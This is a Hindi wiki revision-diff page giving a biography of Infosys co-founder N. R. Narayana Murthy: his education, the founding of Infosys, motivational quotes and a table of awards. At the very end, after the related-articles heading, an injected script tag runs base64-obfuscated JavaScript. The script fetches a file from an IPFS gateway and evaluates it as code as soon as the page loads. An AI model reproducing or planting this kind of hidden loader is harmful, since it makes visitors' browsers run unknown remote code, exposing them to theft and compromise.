"एन. आर. नारायणमूर्ति": अवतरणों में अंतर
No edit summary |
व्यवस्थापन (वार्ता | योगदान) छो (Text replacement - "वरन " to "वरन् ") |
||
पंक्ति 39: | पंक्ति 39: | ||
|अद्यतन={{अद्यतन|16:14, 9 फ़रवरी 2013 (IST)}} | |अद्यतन={{अद्यतन|16:14, 9 फ़रवरी 2013 (IST)}} | ||
}} | }} | ||
'''नागवार रामाराव नारायणमूर्ति''' ([[अंग्रेज़ी]]: ''Nagavara Ramarao Narayana Murthy'', जन्म: [[20 अगस्त]], [[1946]] [[कर्नाटक]]) संसार की अत्यंत समृद्ध सॉफ़्टवेयर कम्पनी 'इन्फ़ोसिस टेक्नोलॉजीज' के मालिक और संस्थापक हैं। उन्होंने इस कम्पनी की स्थापना [[1981]] में अपने 6 मित्रों के साथ मिलकर की थी। उन्होंने अपनी प्रतिभा और मेहनत की बदौलत अपनी कम्पनी इन्फ़ोसिस को उन गिनी चुनी कम्पनियों के समकक्ष खड़ा कर दिया है, जिनके बारे में सोचने के लिये भी लोग ज़िन्दगी गुजार देते हैं। नारायणमूर्ति भारतीय साफ़्टवेयर उद्योग के प्रणेता ही नहीं | '''नागवार रामाराव नारायणमूर्ति''' ([[अंग्रेज़ी]]: ''Nagavara Ramarao Narayana Murthy'', जन्म: [[20 अगस्त]], [[1946]] [[कर्नाटक]]) संसार की अत्यंत समृद्ध सॉफ़्टवेयर कम्पनी 'इन्फ़ोसिस टेक्नोलॉजीज' के मालिक और संस्थापक हैं। उन्होंने इस कम्पनी की स्थापना [[1981]] में अपने 6 मित्रों के साथ मिलकर की थी। उन्होंने अपनी प्रतिभा और मेहनत की बदौलत अपनी कम्पनी इन्फ़ोसिस को उन गिनी चुनी कम्पनियों के समकक्ष खड़ा कर दिया है, जिनके बारे में सोचने के लिये भी लोग ज़िन्दगी गुजार देते हैं। नारायणमूर्ति भारतीय साफ़्टवेयर उद्योग के प्रणेता ही नहीं वरन् विदेशों में भारतीय कम्पनियों का झन्डा ऊँचा करने के प्रेरणा स्त्रोत भी हैं। नारायणमूर्ति ने दुनिया को दिखा दिया है, यदि आप में आत्मविश्वास है, कुछ कर गुजरने की क्षमता है, तो सफलता हमेशा आपके कदम चूमेगी। नारायणमूर्ति ने सफलता की नयी परिभाषाएं गढ़ते हुए भारतीय कम्पनियों को बताया कि पूरी दुनिया के दरवाज़े हमारे लिए खुले हुए हैं। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
नारायणमूर्ति का जन्म 20 अगस्त, 1946 को [[कर्नाटक]] के [[मैसूर]] में हुआ। नारायणमूर्ति शुरू से ही प्रतिभाशाली थे, जहाँ दूसरे छात्रों को प्रश्नपत्र हल करने में घन्टों लगते, वहीं नारायणमूर्ति चुटकियों में उसे सुलझा लेते। नारायणमूर्ति को हमेशा से ही आई.आई.टी में पढ़ने का शौक़ था। इसी खातिर वह मैसूर से बैंगलौर आए, जहाँ पर [[1967]] में इन्होंने मैसूर विश्वविद्यालय से बैचलर ऑफ़ इन्जीनियरिंग और [[1969]] में मास्टर ऑफ़ टैक्नोलाजी (M.Tech) आई.आई.टी [[कानपुर]] से की। | नारायणमूर्ति का जन्म 20 अगस्त, 1946 को [[कर्नाटक]] के [[मैसूर]] में हुआ। नारायणमूर्ति शुरू से ही प्रतिभाशाली थे, जहाँ दूसरे छात्रों को प्रश्नपत्र हल करने में घन्टों लगते, वहीं नारायणमूर्ति चुटकियों में उसे सुलझा लेते। नारायणमूर्ति को हमेशा से ही आई.आई.टी में पढ़ने का शौक़ था। इसी खातिर वह मैसूर से बैंगलौर आए, जहाँ पर [[1967]] में इन्होंने मैसूर विश्वविद्यालय से बैचलर ऑफ़ इन्जीनियरिंग और [[1969]] में मास्टर ऑफ़ टैक्नोलाजी (M.Tech) आई.आई.टी [[कानपुर]] से की। | ||
==इन्फ़ोसिस की स्थापना== | ==इन्फ़ोसिस की स्थापना== | ||
अपने काम की शुरुआत इन्होंने 'पाटनी कम्प्यूटर सिस्टम' (PCS) , [[पुणे]] से की। PCS में काम करते हुए नारायणमूर्ति ने कई उपलब्धियाँ हासिल की। [[पूना]] में ही इनकी मुलाकात [[सुधा मूर्ति|सुधा]] से हुई, जो उस समय टाटा में काम करतीं थीं तथा आज इनकी धर्मपत्नी हैं। नारायण मूर्ति अपनी खुद की कंपनी शुरू करना चाहते थे, लेकिन ऊंची सोच वाले मूर्तिजी के पास पैसे की तंगी थी। बाद में अपनी पत्नी से 10,000 रुपये उधार लेकर हिस्से के शेयर के पैसे लगाकर अपने 6 और साथियों के साथ [[1981]] में नारायणमूर्ति ने इन्फ़ोसिस कम्पनी की स्थापना की। [[मुम्बई]] के एक अपार्टमेंट में शुरू हुयी कम्पनी की प्रगति की कहानी आज दुनिया जानती है। सभी साथियों की कड़ी मेहनत रंग लाई और [[1991]] में इन्फ़ोसिस पब्लिक लिमिटेड कम्पनी में तब्दील हुई। गुणवत्ता का प्रतीक SEI-CMM हासिल किया। [[1999]] में वो स्वर्णिम अवसर आया और इन्फ़ोसिस ने इतिहास रचा, जब कम्पनी के शेयर अमरीकी शेयर बाज़ार NASDAQ में रजिस्टर हुए। इन्फ़ोसिस ऐसा कर दिखाने वाली पहली भारतीय कम्पनी थी। नारायणमूर्ति [[1981]] से लेकर [[2002]] तक कम्पनी मुख्य कार्यकारी निदेशक रहे। 2002 में उन्होंने कमान अपने साथी नन्दन नीलेकनी को थमा दी, लेकिन फिर भी इन्फ़ोसिस कम्पनी के साथ वे मार्गदर्शक के दौर पर जुड़े रहे। नारायणमूर्ति [[1992]] से [[1994]] तक नास्काम के भी अध्यक्ष रहे। इंफोसिस और नारायणमूर्ति की सफलता का कारण यह है कि वे [[कम्प्यूटर]] और सूचना प्रौद्योगिकी के व्यापार में उस समय उतरे जब उसे प्रारम्भ करने का सही समय था। कुछ समय तक इसकी वार्षिक आय केवल 50 करोड़ रुपये सालाना थी परंतु कम्पनी की एक विशेषता यह रही कि इसे [[अमरीका]] में भारतीय कम्पनी के नाते सबसे पहले व्यापार के लिए सूचीबद्ध किया गया। इसे घरेलू क्षेत्र में ही नहीं | अपने काम की शुरुआत इन्होंने 'पाटनी कम्प्यूटर सिस्टम' (PCS) , [[पुणे]] से की। PCS में काम करते हुए नारायणमूर्ति ने कई उपलब्धियाँ हासिल की। [[पूना]] में ही इनकी मुलाकात [[सुधा मूर्ति|सुधा]] से हुई, जो उस समय टाटा में काम करतीं थीं तथा आज इनकी धर्मपत्नी हैं। नारायण मूर्ति अपनी खुद की कंपनी शुरू करना चाहते थे, लेकिन ऊंची सोच वाले मूर्तिजी के पास पैसे की तंगी थी। बाद में अपनी पत्नी से 10,000 रुपये उधार लेकर हिस्से के शेयर के पैसे लगाकर अपने 6 और साथियों के साथ [[1981]] में नारायणमूर्ति ने इन्फ़ोसिस कम्पनी की स्थापना की। [[मुम्बई]] के एक अपार्टमेंट में शुरू हुयी कम्पनी की प्रगति की कहानी आज दुनिया जानती है। सभी साथियों की कड़ी मेहनत रंग लाई और [[1991]] में इन्फ़ोसिस पब्लिक लिमिटेड कम्पनी में तब्दील हुई। गुणवत्ता का प्रतीक SEI-CMM हासिल किया। [[1999]] में वो स्वर्णिम अवसर आया और इन्फ़ोसिस ने इतिहास रचा, जब कम्पनी के शेयर अमरीकी शेयर बाज़ार NASDAQ में रजिस्टर हुए। इन्फ़ोसिस ऐसा कर दिखाने वाली पहली भारतीय कम्पनी थी। नारायणमूर्ति [[1981]] से लेकर [[2002]] तक कम्पनी मुख्य कार्यकारी निदेशक रहे। 2002 में उन्होंने कमान अपने साथी नन्दन नीलेकनी को थमा दी, लेकिन फिर भी इन्फ़ोसिस कम्पनी के साथ वे मार्गदर्शक के दौर पर जुड़े रहे। नारायणमूर्ति [[1992]] से [[1994]] तक नास्काम के भी अध्यक्ष रहे। इंफोसिस और नारायणमूर्ति की सफलता का कारण यह है कि वे [[कम्प्यूटर]] और सूचना प्रौद्योगिकी के व्यापार में उस समय उतरे जब उसे प्रारम्भ करने का सही समय था। कुछ समय तक इसकी वार्षिक आय केवल 50 करोड़ रुपये सालाना थी परंतु कम्पनी की एक विशेषता यह रही कि इसे [[अमरीका]] में भारतीय कम्पनी के नाते सबसे पहले व्यापार के लिए सूचीबद्ध किया गया। इसे घरेलू क्षेत्र में ही नहीं वरन् नस्डैक द्वारा, जिसे उच्चस्तरीय टैक्नीकल कम्पनियों का मक्का माना जाता है, इंफोसिस को भी उसके समान स्तर पर स्वीकार कर लिया गया। | ||
==बतौर नारायणमूर्ति== | ==बतौर नारायणमूर्ति== |
07:37, 7 नवम्बर 2017 का अवतरण
एन. आर. नारायणमूर्ति
| |
पूरा नाम | नागवार रामाराव नारायणमूर्ति |
जन्म | 20 अगस्त, 1946 |
जन्म भूमि | मैसूर, कर्नाटक |
पति/पत्नी | सुधा मूर्ति |
कर्म भूमि | भारत |
शिक्षा | मास्टर ऑफ़ टैक्नोलाजी (M.Tech) |
विद्यालय | आई.आई.टी कानपुर |
पुरस्कार-उपाधि | पद्म श्री, पद्म विभूषण और ऑफीसर ऑफ़ द लेजियन ऑफ़ ऑनर- फ्रांस सरकार |
प्रसिद्धि | इन्फ़ोसिस के मालिक और संस्थापक |
नागरिकता | भारतीय |
अन्य जानकारी | अपने 6 साथियों के साथ 1981 में नारायणमूर्ति ने इन्फ़ोसिस कम्पनी की स्थापना की। |
अद्यतन | 16:14, 9 फ़रवरी 2013 (IST)
|
नागवार रामाराव नारायणमूर्ति (अंग्रेज़ी: Nagavara Ramarao Narayana Murthy, जन्म: 20 अगस्त, 1946 कर्नाटक) संसार की अत्यंत समृद्ध सॉफ़्टवेयर कम्पनी 'इन्फ़ोसिस टेक्नोलॉजीज' के मालिक और संस्थापक हैं। उन्होंने इस कम्पनी की स्थापना 1981 में अपने 6 मित्रों के साथ मिलकर की थी। उन्होंने अपनी प्रतिभा और मेहनत की बदौलत अपनी कम्पनी इन्फ़ोसिस को उन गिनी चुनी कम्पनियों के समकक्ष खड़ा कर दिया है, जिनके बारे में सोचने के लिये भी लोग ज़िन्दगी गुजार देते हैं। नारायणमूर्ति भारतीय साफ़्टवेयर उद्योग के प्रणेता ही नहीं वरन् विदेशों में भारतीय कम्पनियों का झन्डा ऊँचा करने के प्रेरणा स्त्रोत भी हैं। नारायणमूर्ति ने दुनिया को दिखा दिया है, यदि आप में आत्मविश्वास है, कुछ कर गुजरने की क्षमता है, तो सफलता हमेशा आपके कदम चूमेगी। नारायणमूर्ति ने सफलता की नयी परिभाषाएं गढ़ते हुए भारतीय कम्पनियों को बताया कि पूरी दुनिया के दरवाज़े हमारे लिए खुले हुए हैं।
जीवन परिचय
नारायणमूर्ति का जन्म 20 अगस्त, 1946 को कर्नाटक के मैसूर में हुआ। नारायणमूर्ति शुरू से ही प्रतिभाशाली थे, जहाँ दूसरे छात्रों को प्रश्नपत्र हल करने में घन्टों लगते, वहीं नारायणमूर्ति चुटकियों में उसे सुलझा लेते। नारायणमूर्ति को हमेशा से ही आई.आई.टी में पढ़ने का शौक़ था। इसी खातिर वह मैसूर से बैंगलौर आए, जहाँ पर 1967 में इन्होंने मैसूर विश्वविद्यालय से बैचलर ऑफ़ इन्जीनियरिंग और 1969 में मास्टर ऑफ़ टैक्नोलाजी (M.Tech) आई.आई.टी कानपुर से की।
इन्फ़ोसिस की स्थापना
अपने काम की शुरुआत इन्होंने 'पाटनी कम्प्यूटर सिस्टम' (PCS) , पुणे से की। PCS में काम करते हुए नारायणमूर्ति ने कई उपलब्धियाँ हासिल की। पूना में ही इनकी मुलाकात सुधा से हुई, जो उस समय टाटा में काम करतीं थीं तथा आज इनकी धर्मपत्नी हैं। नारायण मूर्ति अपनी खुद की कंपनी शुरू करना चाहते थे, लेकिन ऊंची सोच वाले मूर्तिजी के पास पैसे की तंगी थी। बाद में अपनी पत्नी से 10,000 रुपये उधार लेकर हिस्से के शेयर के पैसे लगाकर अपने 6 और साथियों के साथ 1981 में नारायणमूर्ति ने इन्फ़ोसिस कम्पनी की स्थापना की। मुम्बई के एक अपार्टमेंट में शुरू हुयी कम्पनी की प्रगति की कहानी आज दुनिया जानती है। सभी साथियों की कड़ी मेहनत रंग लाई और 1991 में इन्फ़ोसिस पब्लिक लिमिटेड कम्पनी में तब्दील हुई। गुणवत्ता का प्रतीक SEI-CMM हासिल किया। 1999 में वो स्वर्णिम अवसर आया और इन्फ़ोसिस ने इतिहास रचा, जब कम्पनी के शेयर अमरीकी शेयर बाज़ार NASDAQ में रजिस्टर हुए। इन्फ़ोसिस ऐसा कर दिखाने वाली पहली भारतीय कम्पनी थी। नारायणमूर्ति 1981 से लेकर 2002 तक कम्पनी मुख्य कार्यकारी निदेशक रहे। 2002 में उन्होंने कमान अपने साथी नन्दन नीलेकनी को थमा दी, लेकिन फिर भी इन्फ़ोसिस कम्पनी के साथ वे मार्गदर्शक के दौर पर जुड़े रहे। नारायणमूर्ति 1992 से 1994 तक नास्काम के भी अध्यक्ष रहे। इंफोसिस और नारायणमूर्ति की सफलता का कारण यह है कि वे कम्प्यूटर और सूचना प्रौद्योगिकी के व्यापार में उस समय उतरे जब उसे प्रारम्भ करने का सही समय था। कुछ समय तक इसकी वार्षिक आय केवल 50 करोड़ रुपये सालाना थी परंतु कम्पनी की एक विशेषता यह रही कि इसे अमरीका में भारतीय कम्पनी के नाते सबसे पहले व्यापार के लिए सूचीबद्ध किया गया। इसे घरेलू क्षेत्र में ही नहीं वरन् नस्डैक द्वारा, जिसे उच्चस्तरीय टैक्नीकल कम्पनियों का मक्का माना जाता है, इंफोसिस को भी उसके समान स्तर पर स्वीकार कर लिया गया।
बतौर नारायणमूर्ति
आप कोई भी बात कैसे सीखते हैं? अपने खुद के अनुभव से या फिर किसी और से? आप कहां से और किससे सीखते हैं, यह महत्त्वपूर्ण नहीं है। महत्त्वपूर्ण यह है कि आपने क्या सीखा और कैसे सीखा। अगर आप अपनी नाकामयाबी से सीखते हैं, तो यह आसान है। मगर सफलता से शिक्षा लेना आसान नहीं होता, क्योंकि हमारी हर कामयाबी हमारे कई पुराने फैसलों की पुष्टि करती है। अगर आप में नया सीखने की कला है, और आप जल्दी से नए विचार अपना लेते हैं, तभी सफल हो सकते हैं।
परिवर्तन को स्वीकारें
हमें सफल होने के लिए नए बदलावों को स्वीकारने की आदत होनी चाहिए। मैंने इलेक्ट्रिकल इंजीनियरिंग की पढ़ाई के बाद किसी हाइड्रो पॉवर प्लांट में नौकरी की कल्पना की थी। पढ़ाई के दौरान एक वक्ता के भाषण ने मेरी ज़िंदगी बदल दी। उन्होंने कंप्यूटर और आईटी क्षेत्र को भविष्य बताया था। मैंने मैसूर में इंजीनियरिंग की पढ़ाई की। फिर आईआईटी कानपुर में पीजी किया। आईआईएम अहमदाबाद में चीफ सिस्टम्स प्रोग्रामर के नौकरी की। पेरिस में नौकरी की और पुणे में इन्फ़ोसिस की स्थापना की और बंगलुरु में कंपनी का कारोबार बढ़ाया। जो जगह मुफीद लगे, वहीं काम में जुट जाओ।
संकट की घड़ी को समझें
कभी-कभी संकट में सौभाग्य नजर आता है। ऐसे में, धीरज न खोएं। आपकी कामयाबी इस बात में भी छिपी होती है कि संकट के वक्त आप कैसी प्रतिक्रिया देते हैं? इन्फ़ोसिस की स्थापना हम सात लोगों ने की थी और मैं तथा मेरे सभी साथी चाहते थे कि हम यह कंपनी बेच दें, क्योंकि साल भर की मेहनत के हमें दस लाख डॉलर मिल रहे थे। यह मेरे लिए सौभाग्य नहीं, संकट था। मैं इस कंपनी का भविष्य जानता था। तब मैंने अपने साथियों को संभाला था और इन्फ़ोसिस को बिकने से रोका।
संसाधनों से बड़ा जज्बा
इन्फ़ोसिस से पांच साल पहले नारायण मूर्ति ने आईटी में देशी ग्राहकों को ध्यान में रखकर सफ्ट्रॉनिक्स नाम की कंपनी खोली थी, जो बंद कर देनी पड़ी। 2 जुलाई, 1981 को इन्फ़ोसिस कंपनी रजिस्टर्ड हुई, लेकिन उस समय मूर्ति के पास कंप्यूटर तो दूर, टेलीफोन तक नहीं था। उन दिनों टेलीफोन के लिए लंबी लाइन लगती थी। जब इन्फ़ोसिस अपना आईपीओ लेकर आई, तब बाज़ार से उसे अच्छा रेस्पांस नहीं मिला था। पहला इश्यू केवल एक रुपये के प्रीमियम पर यानी ग्यारह रुपये प्रति शेयर जारी हुआ था।
किसी एक के भरोसे मत रहो
1995 में इन्फ़ोसिस के सामने एक बड़ा संकट तब पैदा हो गया था, जब एक विदेशी कंपनी ने उनकी सेवाओं का मोलभाव एकदम कम करने का फैसला किया। वह ग्राहक कंपनी इन्फ़ोसिस को क़रीब 25 प्रतिशत बिजनेस देती थी। लेकिन अब जिस कीमत पर वह सेवा चाहती थी, वह बहुत ही कम थी। दूसरी तरफ उस ग्राहक को खोने का मतलब था कि अपना एक चौथाई बिजनेस खो देना। तभी तय किया गया कि बात चाहे टेक्नोलॉजी की हो या अप्लीकेशन एरिया की, कभी भी किसी एक पर निर्भर मत रहो। अपना कामकाज इतना फैला हो कि कोई भी आपको आदेश न दे सके।
आप केवल कस्टोडियन हैं
जो भी संपदा आपके पास है, वह केवल आपकी देखरेख के लिए है। आप उसके अभिरक्षक हैं। वह भी अस्थायी तौर पर, बस। यह न मानें कि वह सारी संपदा केवल आप ही भोगेंगे। किसी भी संपदा का असली आनंद आप तभी उठा सकते हैं, जब उसका उपभोग पूरा समाज करे। यदि आपने बहुत दौलत कमा भी ली और उसका मजा लेना चाहते हैं, तो उसे किसी के साथ शेयर करें। यही हमारा दर्शन है।
कुर्सी से न चिपके रहें
साठ साल के होते ही नारायण मूर्ति ने अपनी कंपनी के चेयरमैन का पद छोड़ दिया और नन एग्जीक्यूटिव डायरेक्टर बन गए। आम तौर पर कर्मचारियों को तो साठ साल में रिटायर कर दिया जाता है, लेकिन डायरेक्टर अपने पद पर डटे रहते हैं। नारायण मूर्ति ने सभी को यह संदेश दिया कि अगर किसी भी कंपनी को लगातार आगे बढ़ाना है, तो उसमें नए ख़ून की निर्णायक भूमिका रहनी चाहिए। क्योंकि नए विचार अपनाने में युवाओं को कोई हिचक नहीं होती।
मंज़िल से ज़्यादा मज़ा सफ़र में
जीवन में कोई भी लक्ष्य पा लेने में बहुत मज़ा आता है। लेकिन जीवन का असली मज़ा तो सफ़र जारी रखने में ही है। कभी भी जीवन में संतुष्ट होकर ना बैठ जाएं कि बस, बहुत हो चुका। जब आप एक मैच जीत जाते हैं, तो अगले मैच की तैयारी शुरू कर देते हैं। हर मैच जीतने की अपनी खुशी होती है और खेलने का अपना मज़ा है।[1]
सम्मान और पुरस्कार
एन. आर. नारायणमूर्ति को पद्म श्री, पद्म विभूषण और ऑफीसर ऑफ़ द लेजियन ऑफ़ ऑनर- फ्रांस सरकार के सम्मानों से अलंकृत किया जा चुका है। इसके अलावा तकनीकी क्षेत्र में तमाम पुरस्कार समय-समय पर मिलते रहे। सन 2005 में नारायणमूर्ति को विश्व का आठवां सबसे बेहतरीन प्रबंधक चुना गया। इस सूची में शामिल अन्य नाम थे-बिल गेट्स, स्टीव जाब्स तथा वारेन वैफ़े। हालांकि नारायणमूर्ति ने अब अवकाश ग्रहण कर लिया है पर वे इन्फ़ोसिस के मानद चेयरमैन बने रहेंगे। श्री नारायणमूर्ति ने असम्भव को सम्भव कर दिखाया। भारत के इतिहास में नारायणमूर्ति का नाम हमेशा लिया जाएगा। भारत के ऐसे लाल को हमारा शत शत नमन।
क्र.सं. | वर्ष | नाम | सम्मान/पुरस्कार देने वाली संस्था |
---|---|---|---|
1 | 2013 | 25 ग्रेटेस्ट ग्लोबल इंडियन लिविंग लेजेंड्स | एन.डी.टी.वी. |
2. | 2013 | सयाजी रत्न अवार्ड बरोदा | मैनेजमेंट एसोसिएशन बरोदा |
3. | 2013 | फिलंथ्रोपिस्त ऑफ़ द इयर | द एशियन अवार्ड्स |
4. | 2012 | हुवर मैडल | अमेरिकन सोसाइटी फॉर मैकेनिकल एन्जिनीर्स |
5. | 2011 | एन.डी.टी.वी. इंडियन ऑफ़ द इयर – इयर्स आइकॉन ऑफ़ इंडिया | एन.डी.टी.वी. |
6. | 2010 | IEEE मानद सदस्यता | IEEE |
7. | 2009 | वूड्रो विल्सन अवार्ड फॉर कॉर्पोरेट सिटीजनशिप | वूड्रो विल्सन इंटरनेशनल सेण्टर फॉर स्कोलार्स |
8. | 2008 | पद्म विभूषण | भारत सरकार |
9. | 2008 | ऑफिसर ऑफ़ द लीजन ऑफ़ ओनोर | फ़्रांसिसी सरकार |
10. | 2007 | कमांडर ऑफ़ द आर्डर ऑफ़ द ब्रिटिश एम्पायर (CBE) | यूनाइटेड किंगडम सरकार |
11. | 2007 | IEEEएर्न्स्ट वेबर इंजीनियरिंग लीडरशिप रिकग्निशन | IEEE |
12. | 2003 | अर्न्स्ट एंड यंग इंटरप्रेन्योर ऑफ़ द इयर | अर्न्स्ट एंड यंग |
13. | 2000 | पद्मश्री | भारत सरकार |
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ नारायणमूर्ति (हिंदी) achievers life story। अभिगमन तिथि: 9 फ़रवरी, 2013।
- ↑ एन. आर. नारायणमूर्ति (हिंदी) culturalindia hindi। अभिगमन तिथि: 25 सितम्बर, 2016।
बाहरी कड़ियाँ
- एन.आर नारायणमूर्ति:एक परिचय
- N. R. Narayana Murthy
- N.R. Narayana Murthy & family (forbes website)
- नारायण मूर्ति: हर सफर का अपना मजा है
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>